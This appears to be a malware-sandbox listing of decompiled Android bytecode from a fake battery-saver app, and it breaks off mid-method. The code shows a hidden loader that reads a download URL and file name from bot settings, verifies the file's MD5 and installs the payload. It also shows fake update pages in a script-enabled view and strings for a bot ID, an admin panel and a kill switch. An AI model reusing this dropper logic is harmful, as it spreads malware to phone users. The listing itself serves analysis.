          44invoke-static {v0}, Lcom/saver/batterymobi/MainActivity;->c(Lcom/saver/batterymobi/MainActivity;)Landroid/widget/TextView;
          45move-result-object v0
          47const-string v1, "Sevad: -- min"
          49invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
          50goto/16 :goto_5f
          51cond_3f:
          52iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          54invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          55move-result-object v1
          57const-string v2, "btn"
          59const-string v3, "1"
          61invoke-virtual {v0, v1, v2, v3}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          63iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          65iget-object v0, v0, Lcom/saver/batterymobi/MainActivity;->k:Landroid/widget/ImageButton;
          66const v1, 0x7f060059
          68invoke-virtual {v0, v1}, Landroid/widget/ImageButton;->setImageResource(I)V
          70iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          72invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          73move-result-object v1
          75invoke-virtual {v0, v1}, Lcom/saver/batterymobi/MainActivity;->a(Landroid/content/Context;)V
          76goto_5f: const/high16 v0, 0x40000000 # 2.0f
          77const/high16 v1, 0x10000000
          78try_start_63:
          79iget-object v2, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          81iget-object v2, v2, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          83invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          84move-result-object v3
          86invoke-virtual {v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->e(Landroid/content/Context;)Z
          87move-result v2
          88if-nez v2, :cond_97
          89new-instance v2, Landroid/content/Intent;
          91invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          92move-result-object v3
          93const-class v4, Lcom/saver/batterymobi/lkj/zxs/frw;
          95invoke-direct {v2, v3, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          97invoke-virtual {v2, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          99invoke-virtual {v2, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          101iget-object v3, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          103invoke-virtual {v3, v2}, Lcom/saver/batterymobi/MainActivity;->startActivity(Landroid/content/Intent;)V
          104try_end_87: goto/16 :goto_97
          105catch_88:
          106iget-object v2, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          108iget-object v2, v2, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          110iget-object v3, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          112invoke-static {v3}, Lcom/saver/batterymobi/MainActivity;->d(Lcom/saver/batterymobi/MainActivity;)Ljava/lang/String;
          113move-result-object v3
          115const-string v4, "ERROR {ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS}"
          117invoke-virtual {v2, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          118goto_97:
          119iget-object v2, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          121iget-object v2, v2, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          123invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          124move-result-object v3
          126invoke-virtual {v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->f(Landroid/content/Context;)Z
          127move-result v2
          128if-nez v2, :cond_da
          130iget-object v2, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          132iget-object v2, v2, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          134iget-object v3, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          136invoke-static {v3}, Lcom/saver/batterymobi/MainActivity;->d(Lcom/saver/batterymobi/MainActivity;)Ljava/lang/String;
          137move-result-object v3
          139const-string v4, "No permission Storage or Doze Mode"
          141invoke-virtual {v2, v3, v4}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          142new-instance v2, Landroid/content/Intent;
          144invoke-virtual {p1}, Landroid/view/View;->getContext()Landroid/content/Context;
          145move-result-object p1
          146const-class v3, Lcom/saver/batterymobi/lkj/zxs/kgr;
          148invoke-direct {v2, p1, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
          150invoke-virtual {v2, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          152invoke-virtual {v2, v0}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
          154iget-object p1, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          156invoke-virtual {p1, v2}, Lcom/saver/batterymobi/MainActivity;->startActivity(Landroid/content/Intent;)V
          157try_end_ca: goto/16 :goto_da
          158catch_cb:
          159iget-object p1, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          161iget-object p1, p1, Lcom/saver/batterymobi/MainActivity;->l:Lcom/saver/batterymobi/lkj/a/c;
          163iget-object v0, p0, Lcom/saver/batterymobi/MainActivity$2;->a:Lcom/saver/batterymobi/MainActivity;
          165invoke-static {v0}, Lcom/saver/batterymobi/MainActivity;->d(Lcom/saver/batterymobi/MainActivity;)Ljava/lang/String;
          166move-result-object v0
          168const-string v1, "ERROR {Permission}"
          170invoke-virtual {p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          171goto_da: return-void
          Cross References
          APIs
          • java.lang.Object.getClass
          • java.lang.String.equals
          • java.lang.Object.getClass
          • java.lang.String.length
          • java.lang.Object.getClass
          • java.lang.String.length
          • java.lang.Object.getClass
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          • java.lang.StringBuilder.<init>
          • java.io.File.<init>
          • java.io.File.exists
          • java.lang.Object.getClass
          • java.lang.String.equals
          • com.saver.batterymobi.lkj.jgj.ecr.a
          Strings
          • -------------------CheckCommand-------------------
          • startLoader
          • true
          • urlDownloadApp
          • -------------------start == true0------------------
          • filename
          • (Download)Path
          • >>> md5:
          • (Settings)Path
          • fileMd5
          • MD5 checking true!
          • MD5 checking false!
          • File not exists!
          Position Instruction Meta Information
          1iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          3sget-object v1, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          5const-string v2, "-------------------CheckCommand-------------------"
          7invoke-virtual {v0, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          9iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          11iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          13invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          15const-string v1, "startLoader"
          17invoke-virtual {v0, p1, v1}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          18move-result-object v0
          20const-string v1, "true"
          22invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          23move-result v0
          24if-eqz v0, :cond_f4
          26iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          28iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          30invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          32const-string v1, "urlDownloadApp"
          34invoke-virtual {v0, p1, v1}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          35move-result-object v0
          37invoke-virtual {v0}, Ljava/lang/String;->length()I
          38move-result v0
          39const/4 v1, 0x5
          40if-le v0, v1, :cond_f4
          42iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          44sget-object v1, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          46const-string v2, "-------------------start == true0------------------"
          48invoke-virtual {v0, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          50iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          52iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          54invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          56const-string v1, "filename"
          58invoke-virtual {v0, p1, v1}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          59move-result-object v0
          61invoke-virtual {v0}, Ljava/lang/String;->length()I
          62move-result v1
          63const/16 v2, 0xa
          64if-ge v1, v2, :cond_9c
          66iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          68iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          70iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          72invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          74const-string v3, "urlDownloadApp"
          76invoke-virtual {v1, p1, v3}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          77move-result-object v1
          79iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          81invoke-virtual {v3, v2}, Lcom/saver/batterymobi/lkj/a/c;->a(I)Ljava/lang/String;
          82move-result-object v2
          84invoke-virtual {v0, v1, v2}, Lcom/saver/batterymobi/lkj/a/c;->b(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
          85move-result-object v0
          87iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          89iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          91invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          93const-string v2, "filename"
          95invoke-virtual {v1, p1, v2, v0}, Lcom/saver/batterymobi/lkj/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
          97iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          99sget-object v2, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          100new-instance v3, Ljava/lang/StringBuilder;
          102invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          104const-string v4, "(Download)Path "
          105goto_80:
          106invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          108invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          110const-string v4, " >>> md5: "
          112invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          114iget-object v4, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          116invoke-static {v0}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;)Ljava/lang/String;
          117move-result-object v4
          119invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
          121invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
          122move-result-object v3
          124invoke-virtual {v1, v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          125goto/16 :goto_a8
          126cond_9c:
          127iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          129sget-object v2, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          130new-instance v3, Ljava/lang/StringBuilder;
          132invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
          134const-string v4, "(Settings)Path "
          135goto/16 :goto_80
          136goto_a8: new-instance v1, Ljava/io/File;
          138invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
          140invoke-virtual {v1}, Ljava/io/File;->exists()Z
          141move-result v1
          142if-eqz v1, :cond_e8
          144iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          146invoke-static {v0}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;)Ljava/lang/String;
          147move-result-object v1
          149iget-object v2, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          151iget-object v3, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->b:Lcom/saver/batterymobi/lkj/a;
          153invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          155const-string v3, "fileMd5"
          157invoke-virtual {v2, p1, v3}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          158move-result-object v2
          160invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
          161move-result v1
          162if-eqz v1, :cond_d9
          164iget-object v1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          166sget-object v2, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          168const-string v3, "MD5 checking true!"
          170invoke-virtual {v1, v2, v3}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          172invoke-virtual {p0, p1, v0}, Lcom/saver/batterymobi/lkj/jgj/ecr;->a(Landroid/content/Context;Ljava/lang/String;)V
          173goto/16 :goto_f4
          174cond_d9:
          175iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          177invoke-virtual {v0, p1}, Lcom/saver/batterymobi/lkj/a/c;->g(Landroid/content/Context;)V
          179iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          181sget-object v0, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          183const-string v1, "MD5 checking false!"
          184goto_e4:
          185invoke-virtual {p1, v0, v1}, Lcom/saver/batterymobi/lkj/a/c;->a(Ljava/lang/String;Ljava/lang/String;)V
          186return-void
          187cond_e8:
          188iget-object v0, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          190invoke-virtual {v0, p1}, Lcom/saver/batterymobi/lkj/a/c;->g(Landroid/content/Context;)V
          192iget-object p1, p0, Lcom/saver/batterymobi/lkj/jgj/ecr;->a:Lcom/saver/batterymobi/lkj/a/c;
          194sget-object v0, Lcom/saver/batterymobi/lkj/jgj/ecr;->c:Ljava/lang/String;
          196const-string v1, "File not exists!"
          197goto/16 :goto_e4
          198goto_f4: return-void
          Cross References
          APIs
          • java.lang.Object.<init>
          Strings
          • idbot
          • initialization
          • startLoader
          • urlAdminPanel
          • urlDownloadApp
          • packageApp
          • filename
          • fileMd5
          • starterService
          • statusInstall
          • kill
          • step
          • ActivityUpdate
          • settings
          • battery2
          • https://t.me/battsr
          • 1day
          • android.permission.WRITE_EXTERNAL_STORAGE
          Position Instruction Meta Information
          1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
          2const/4 v0, 0x0
          3iput-boolean v0, p0, Lcom/saver/batterymobi/lkj/a;->a:Z
          4const/4 v1, 0x1
          5iput-boolean v1, p0, Lcom/saver/batterymobi/lkj/a;->b:Z
          7const-string v2, "idbot"
          8iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->c:Ljava/lang/String;
          10const-string v2, "initialization"
          11iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->d:Ljava/lang/String;
          13const-string v2, "startLoader"
          14iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->e:Ljava/lang/String;
          16const-string v2, "urlAdminPanel"
          17iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->f:Ljava/lang/String;
          19const-string v2, "urlDownloadApp"
          20iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->g:Ljava/lang/String;
          22const-string v2, "packageApp"
          23iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->h:Ljava/lang/String;
          25const-string v2, "filename"
          26iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->i:Ljava/lang/String;
          28const-string v2, "fileMd5"
          29iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->j:Ljava/lang/String;
          31const-string v2, "starterService"
          32iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->k:Ljava/lang/String;
          34const-string v2, "statusInstall"
          35iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->l:Ljava/lang/String;
          37const-string v2, "kill"
          38iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->m:Ljava/lang/String;
          40const-string v2, "step"
          41iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->n:Ljava/lang/String;
          43const-string v2, "ActivityUpdate"
          44iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->o:Ljava/lang/String;
          46const-string v2, "settings"
          47iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->p:Ljava/lang/String;
          49const-string v2, "battery2"
          50iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->q:Ljava/lang/String;
          52const-string v2, "https://t.me/battsr"
          53iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->r:Ljava/lang/String;
          55const-string v2, "1day"
          56iput-object v2, p0, Lcom/saver/batterymobi/lkj/a;->s:Ljava/lang/String;
          57iput v1, p0, Lcom/saver/batterymobi/lkj/a;->t:I
          58new-array v1, v1, [Ljava/lang/String;
          60const-string v2, "android.permission.WRITE_EXTERNAL_STORAGE"
          61aput-object v2, v1, v0
          62iput-object v1, p0, Lcom/saver/batterymobi/lkj/a;->u:[Ljava/lang/String;
          64const-string v0, "PGh0bWw+Cjxib2R5IGJnY29sb3I9JyNkY2RmZTAnPgo8ZGl2IHN0eWxlPSdjb2xvcjojMTQyYjJiOyBtYXJnaW4tbGVmdDoxOHB4OyBtYXJnaW4tcmlnaHQ6IDE4cHg7IG1hcmdpbi10b3A6IDUwcHg7IGZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmLEFwcGxlIENvbG9yIEVtb2ppLFNlZ29lIFVJIEVtb2ppLFNlZ29lIFVJIFN5bWJvbCxOb3RvIENvbG9yIEVtb2ppOyc+CiAgPGltZyAgd2lkdGg9IjM2IiBoZWlnaHQ9IjM2IiAgc3JjPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQWdBQUFBSUFDQVlBQUFEMGVOVDZBQUFTQVVsRVFWUjQydTNkNisvV2N4Z0g4SnRLU3Rhc1ZRcHRObVBKcGd4RkJ6T245UWpGTk5OeUdwdlRBMG1VSEpQb1FIS1dpS2pVUEVGcTAycGo1RERVQTRjL3dTTVAvQUY4N25VL3NNOStXdlQ5M3ZmbmUxK3YxL2IrQjF4ZDc4L1YvZnU1YTdVQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNDRzVWeWNjb3RLVXRUVnFhOG5MSXBaWHZLam45a2U1WVBzMnpMc2pYTGxpd2ZESkQzczJ6TzhsNldkN05zeXZKT2xyZXpiTXp5VnBZTkErVE5MRzlrZVQzTGExbGV6ZkpLbHBlenZKUmxmWllYQjhpNkxDOWtlVDdMMml4cnNxek9zaXJMYzFtZUhTQXJzenlUWlVXV3A3TXN6L0pVbGllelBKSGw4U3lQRFpCSHN5ekw4a2lXcFZtV1pIazR5K0tVaFNuM3BNeFBtWjB5T1dXa0tnTHFOTGp6MkxlTDYvT0Y2My83UzBUS1NkckxQWjJEYWs3S2FKVU
          65iput-object v0, p0, Lcom/saver/batterymobi/lkj/a;->x:Ljava/lang/String;
          67const-string v0, "iVBORw0KGgoAAAANSUhEUgAABDgAAANVCAYAAACd3U6FAADUZUlEQVR42uzdd3wU5fr//8/jp0cB6SAiVqzH3ntDz7FjAXs72LsHK4LAUVA6CgLSm3QEBDQUqdKkN2nSpAWQJEDozHz/uH5zTdg42ezsziZbZjevP54PJdndmZ25Z7P3e+77uv8vKytLchYtlqNnniP/7/87EQAAAAAAIGVonqG5xv8RbgAAAAAAgFQPOf5v/ycNORgAAAAAACClEXAAAAAAAID0DDgO33KH6M8BAAAAAAD8RnMLTwGH/kyLjwIAAAAAAPhNqCyDgAMAAAAAABBwAAAAAAAAEHAAAAAAAAAQcAAAAAAAAAIOAg4AAAAAAEDAAQAAAAAAQMABAAAAAABAwAEAAAAAAAg4CDgAAAAAAAABBwAAAAAAAAEHAAAAAAAAAQcAAAAAACDgIOAAAAAAAAAEHAAAAAAAAAQcAAAAAAAABBwAAAAAAICAg4ADAAAAAAAQcAAAAAAAABBwAAAAAAAAEHAAAAAAAAACDgIOAAAAAABAwAEAAAAAAEDAAQAAAAAAQMABAAAAAAAIOAg4AAAAAAAAAQcAAAAAAAABBwAAAAAAAAEHAAAAAAAg4CDgAAAAAAAABBwAAAAAAAAEHAAAAAAAAAQcAAAAAACAgIOAAwAAAAAAEHAAAAAAAAAQcAAAAAAAABBwAAAAAAAAAg4CDgAAAAAAQMABAAAAAABAwAEAAAAAAEDAAQAAAAAACDgIOAAAAAAAAAEHAAAAAAAAAQcAAAAAAAABR2wNWraA4wAAAAAAAAFH6vpq1hSp1PITqf1DP44HAAAAAAAEHKkbbgQQcgCpodH08XJBt9aFXNG7Q1yeB3d3DO4W8pjW+3k4xwcAAAAEHMkINwg5gNTx6riRIa/fU9o3jsvz4O68rq1CHtN7hvXm+AAAAICAI1nhhrqwWxv5Y9tWGlQauX94H7m899eF3EsHjICDgIOAAwAAAAQchBtIFT
          68iput-object v0, p0, Lcom/saver/batterymobi/lkj/a;->y:Ljava/lang/String;
          70const-string v0, "Xob26AUXy/4GDWX31GkF2ujhm27z8b5XlKNnnye7J03m8wQAAQcAAEAyHbnsKjrZ8E9gcEIZOzQwy1eRg3WekL19+tnhh99Xk9HRHAdefUOytmzhcwUAAQcAAECiZW/YwPKw8PnoDg07KqdMnRGj2mmyZ9RoPl8AAg4CDgAAgETaM2YsnWggDkHHwceekuz16/mcAQg4CDgAAAASZW+vPnL4rrvFLF1OjPJV7AKQdFKBYoYcpazrqeLJsrf/93zOAAQcBBwAAAAJtWOH7Bk9Vg68/pYYp59t1xTw28oVQCpOsTn8r3sle9UqPmMAAg4CDgAAgGTIWbxE9rVpJ4dvvNWu02FWqGIvjUmnFYi2cOpJ9rK4uR078dkCEHAQcAAAACTV1q2yZ+hwOfh8PTFOrpFX+LE0S8sCUQUdZSvKkWtvlJxFi/lMAQg4CDgAAAB8Mbpjzm+y74vmcuTKa+3RHXbtDjqwQOSQ4/jSYpYpL/uafSlZf/3F5wlAwEHAAQAA4Bt//il7+/aXg3WfEFODjnKVWXoW8FCb4+g/L5WcmbP4DAEIODhgAAAAfrR7ylTZ36CRHL3w0rzaHeUr06EFQoUcqnR52f/+R5KVmcnnB0DAAQAAAL/K/mOt5HbtLofuq51Xt0NHePyjDJ1boMBojgpy9MxzZPeEX/jcAAg4AAAA4Hs7d8rujHGy/736cvTs88QsVU6MspXo4AKBoKN0eTn44suStWkznxcAAQcAAABSZnTH779L7jcd5fAdd+WFHRWq2gUY6eiipIccRtVTZc/IUXxOAAQcAAAASDmZmXaH7sArr4tx6hlilqlgo8OLEht0WO3/0COPSfa6dXw+AAQcAAAASFU5CxfKvhat5Mj1N+ctQ6ujO+j0oqSFHPbIpiqyt3dfPhcAAg4AAACkvM1bZO/AwXLwmefFqHKKmGUriVm6HB1glKglZQ/f+W/JXrGCzwOAgAMAAABpM7pjxkzZ1+RzOXLZVXmjO8pXoROM9A
          71iput-object v0, p0, Lcom/saver/batterymobi/lkj/a;->z:Ljava/lang/String;
          72return-void
          APIs
          • android.app.Activity.onCreate
          • java.lang.Object.getClass
          • android.util.Base64.decode
          • java.lang.String.<init>
          • android.webkit.WebView.<init>
          • android.webkit.WebView.getSettings
          • android.webkit.WebSettings.setJavaScriptEnabled
          • android.webkit.WebView.setScrollBarStyle
          • com.saver.batterymobi.lkj.zxs.drg$b.<init>
          • android.webkit.WebView.setWebViewClient
          • com.saver.batterymobi.lkj.zxs.drg$a.<init>
          • android.webkit.WebView.setWebChromeClient
          • android.webkit.WebView.loadData
          • com.saver.batterymobi.lkj.zxs.drg.setContentView
          • java.lang.StringBuilder.<init>
          • java.lang.StringBuilder.append
          • java.lang.StringBuilder.toString
          Strings
          • ActivityUpdate
          • UTF-8
          • text/html
          Position Instruction Meta Information
          1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
          2iput-object p0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->d:Landroid/content/Context;
          3try_start_5:
          4iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          6iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->b:Lcom/saver/batterymobi/lkj/a;
          8invoke-virtual {v0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
          10const-string v0, "ActivityUpdate"
          12invoke-virtual {p1, p0, v0}, Lcom/saver/batterymobi/lkj/a/c;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
          13move-result-object p1
          14iput-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->c:Ljava/lang/String;
          16iget-object p1, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->c:Ljava/lang/String;
          17const/4 v0, 0x0
          19invoke-static {p1, v0}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
          20move-result-object p1
          21new-instance v1, Ljava/lang/String;
          23const-string v2, "UTF-8"
          25invoke-direct {v1, p1, v2}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
          26iput-object v1, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->c:Ljava/lang/String;
          27new-instance p1, Landroid/webkit/WebView;
          29invoke-direct {p1, p0}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
          31invoke-virtual {p1}, Landroid/webkit/WebView;->getSettings()Landroid/webkit/WebSettings;
          32move-result-object v1
          33const/4 v2, 0x1
          35invoke-virtual {v1, v2}, Landroid/webkit/WebSettings;->setJavaScriptEnabled(Z)V
          37invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setScrollBarStyle(I)V
          38new-instance v0, Lcom/saver/batterymobi/lkj/zxs/drg$b;
          39const/4 v1, 0x0
          41invoke-direct {v0, p0, v1}, Lcom/saver/batterymobi/lkj/zxs/drg$b;-><init>(Lcom/saver/batterymobi/lkj/zxs/drg;Lcom/saver/batterymobi/lkj/zxs/drg$1;)V
          43invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setWebViewClient(Landroid/webkit/WebViewClient;)V
          44new-instance v0, Lcom/saver/batterymobi/lkj/zxs/drg$a;
          46invoke-direct {v0, p0, v1}, Lcom/saver/batterymobi/lkj/zxs/drg$a;-><init>(Lcom/saver/batterymobi/lkj/zxs/drg;Lcom/saver/batterymobi/lkj/zxs/drg$1;)V
          48invoke-virtual {p1, v0}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
          50iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->c:Ljava/lang/String;
          52const-string v1, "text/html"
          54const-string v2, "UTF-8"
          56invoke-virtual {p1, v0, v1, v2}, Landroid/webkit/WebView;->loadData(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
          58invoke-virtual {p0, p1}, Lcom/saver/batterymobi/lkj/zxs/drg;->setContentView(Landroid/view/View;)V
          59try_end_51: goto/16 :goto_6b
          60catch_52: move-exception p1
          62iget-object v0, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->a:Lcom/saver/batterymobi/lkj/a/c;
          64iget-object v1, p0, Lcom/saver/batterymobi/lkj/zxs/drg;->e:Ljava/lang/String;
          65new-instance v2, Ljava/lang/StringBuilder;
          67invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
          69const-string v3, ""
